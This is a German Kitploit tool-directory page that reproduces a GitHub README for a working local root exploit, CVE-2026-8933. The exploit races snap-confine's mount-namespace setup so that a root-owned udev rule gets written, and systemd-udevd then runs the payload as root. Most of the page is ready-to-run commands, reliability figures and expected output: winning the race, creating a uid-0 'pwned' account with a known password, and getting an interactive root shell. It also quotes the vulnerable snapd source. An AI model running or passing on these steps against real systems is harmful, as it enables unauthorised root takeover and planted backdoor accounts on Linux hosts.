Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-8933 — Funktionierender PoC für CVE-2026-8933: ein Symlink-Race im Mount-Namespace von snap-confine, das eine root-eigene udev-Regel platziert und so über systemd-udevd lokale Root-Rechte erlangt. | Kitploit
Tools/GitHubGitHub/songzzzz/cve-2026-8933
Privilege EscalationSchwachstellenanalyseExploitationPayload-Entwicklung
GitHubsongzzzz/cve-2026-8933

CVE-2026-8933

Funktionierender PoC für CVE-2026-8933: ein Symlink-Race im Mount-Namespace von snap-confine, das eine root-eigene udev-Regel platziert und so über systemd-udevd lokale Root-Rechte erlangt.

Repository anzeigen
3vor 20 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-8933 — snap-confine Mount-Namespace-Race → lokale Root-Shell

Funktionierender PoC. Vollständige lokale Privilegieneskalation end-to-end reproduziert, von einem unprivilegierten Benutzer (uid 1000) zu einer echten uid-0-Root-Shell — kein Passwort, keine Interaktion, keine bereits vorhandenen Privilegien.

Ein unprivilegierter Prozess bringt das set-capabilities-snap-confine dazu, eine root-eigene udev-Regel in das /run/udev/rules.d/ des Hosts zu schreiben; systemd-udevd führt anschließend die PROGRAM=-Payload der Regel als root aus. Die eingebaute Payload legt ein uid-0-Konto mit bekanntem Passwort an, sodass su - pwned (oder ./_rootshell.py) eine Root-Shell liefert.

Komponentesnap-confine → sc_replicate_base_rootfs() (snapd-2.73-Quellcode in _msc_273.c; der getestete Host lief mit snapd 2.76.3 und war weiterhin ausnutzbar)
KlasseLokale Privilegieneskalation (Symlink-Race → beliebige root-eigene Dateierstellung in /run/udev/** → Codeausführung als root)
Ergebnisuid=0(root)-Shell aus einem unprivilegierten Konto
Zuverlässigkeit16 Läufe: 7 beim ersten Versuch erfolgreich, der Rest beim zweiten; nie mehr als 2
Portabilitäthost-unabhängig: Ziel-Snap, App-Name, cgroup-Scope, uid und snap-confine-Pfad werden alle zur Laufzeit erkannt
Root erforderlichkeins (siehe §9)

Inhalt

TL;DR · 1. Schnellstart · 2. Voraussetzungen · 3. Was Sie sehen sollten · 4. Der Bug · 5. Die Races gewinnen · 6. Payload · 7. Paketinhalt · 8. Konfiguration · 9. Privilegien & Aufräumen · 10. Auswirkung & Fix · Fehlerbehebung · Referenzen · Haftungsausschluss

TL;DR

cd <package dir>
bash _t18poc.sh 100% 12        # ~1–2 min, no password required

Erwartete Ausgabe (gekürzt):

### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"

### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash

### 3. root shell
  credentials: pwned / pwned (uid 0)
  root@host:~# id; whoami
  uid=0(root) gid=0(root) groups=0(root)
  root

Der Treiber räumt hinter sich auf (Regel, Payload, platzierter Account, Scratch-Verzeichnisse und deren Mounts). KEEP=1 behält den Account, sodass die Root-Shell danach interaktiv genutzt werden kann:

KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py                  # interactive root shell (password typed for you)
./_rootshell.py -c 'id'          # one-shot command as root
su - pwned                       # or just this, password: pwned

1. Schnellstart

cd <package dir>

./t18 info                       # optional: which snap is the target?
bash _t18poc.sh 100% 12          # quota, max attempts

_t18poc.sh [quota] [attempts] baut t18 + _ftrig, erkennt das Ziel, führt den Exploit aus, bis er gewinnt, löst udevd aus, verifiziert die Root-Payload und räumt auf. 100% 12 ist der für alle untenstehenden Messungen verwendete Wert; 0.3% 40 funktioniert ebenfalls (engere Quote, mehr Versuche).

Bevor irgendetwas verändert wird, gibt der Treiber das automatisch erkannte Ziel aus:

target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope  : snap.firefox.firefox.scope
snapd       : 2.76.3

2. Voraussetzungen

  • ein systemd-Host (User-Manager läuft — der Exploit steuert cgroup.freeze auf dem User-Scope),
  • verwundbares snap-confine, installiert mit set-capabilities (cap_chown,cap_dac_override,cap_sys_admin,…) — nicht set-uid-root,
  • gcc + libfuse3 (pkg-config fuse3), um t18 und _ftrig zu bauen,
  • mindestens ein installiertes Snap, dessen Verzeichnis /snap/<snap>/current auf oberster Ebene eine reguläre Datei enthält — dieser DT_REG-Eintrag ist es, der das verwundbare open() ausführt (z. B. firefox, core22, …). Jedes solche Snap funktioniert; SNAP=<name> erzwingt ein bestimmtes.

./t18 info gibt snap, app, base, unit, scope, confine und die Anzahl der Einträge/regulären Dateien des erkannten Ziels aus und beendet sich — eine schnelle Möglichkeit zu sehen, ob ein Host mit den installierten Snaps ausnutzbar ist.

3. Was Sie sehen sollten

Nachweis eines erfolgreichen Versuchs

[   22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[   22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[   25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[   35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[   35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[   35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[   41.012] spinner: rule written into the root-owned file
[   42.362] phase 2: 180 slices, win=1 (udev rule written)
[   42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
             /tmp/snap.rootfs_bTvhoA/default256.png: Permission denied

Die von dem root-privilegierten snap-confine auf dem Host erstellte Datei:

-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"

und das Payload-Skript, auf das es verweist (geschrieben von uid 1000, ausgeführt von systemd-udevd als uid 0):

-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root)          <- /tmp/.pwned.root

snap-confine stirbt direkt danach, beim AppArmor-verweigerten Bind-Mount desselben Eintrags — die Datei ist zu diesem Zeitpunkt bereits erstellt und gefüllt.

Root-Shell

$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7:::                 <- /etc/shadow is root-only
$ ./_rootshell.py                              # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root

Zuverlässigkeit

16 Läufe von _t18poc.sh über die gesamte Untersuchung und den finalen generischen Build endeten alle in der LPE (7 davon beim ersten Versuch, der Rest beim zweiten); kein Lauf benötigte mehr als 2 Versuche. Jeder Lauf räumt hinter sich auf (Regel, Payload, angelegtes Konto, Scratch-Verzeichnisse und deren Mounts).

4. Der Bug

snapd 2.73, sc_replicate_base_rootfs() (Quellcode in _msc_273.c):

 511     if (mkdtemp(scratch_dir) == NULL)                    // /tmp/snap.rootfs_XXXXXX
 523     sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
 530     sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
 535         sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
 536         sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
 362     if (chown(scratch_dir, 0, 0) < 0)  die(...);
...
 418             int fd = open(full_path, O_CREAT | O_TRUNC, 0644);   // no O_NOFOLLOW
 422             if (fchown(fd, 0, 0) < 0) die(...);
 428             sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
Tool herunterladen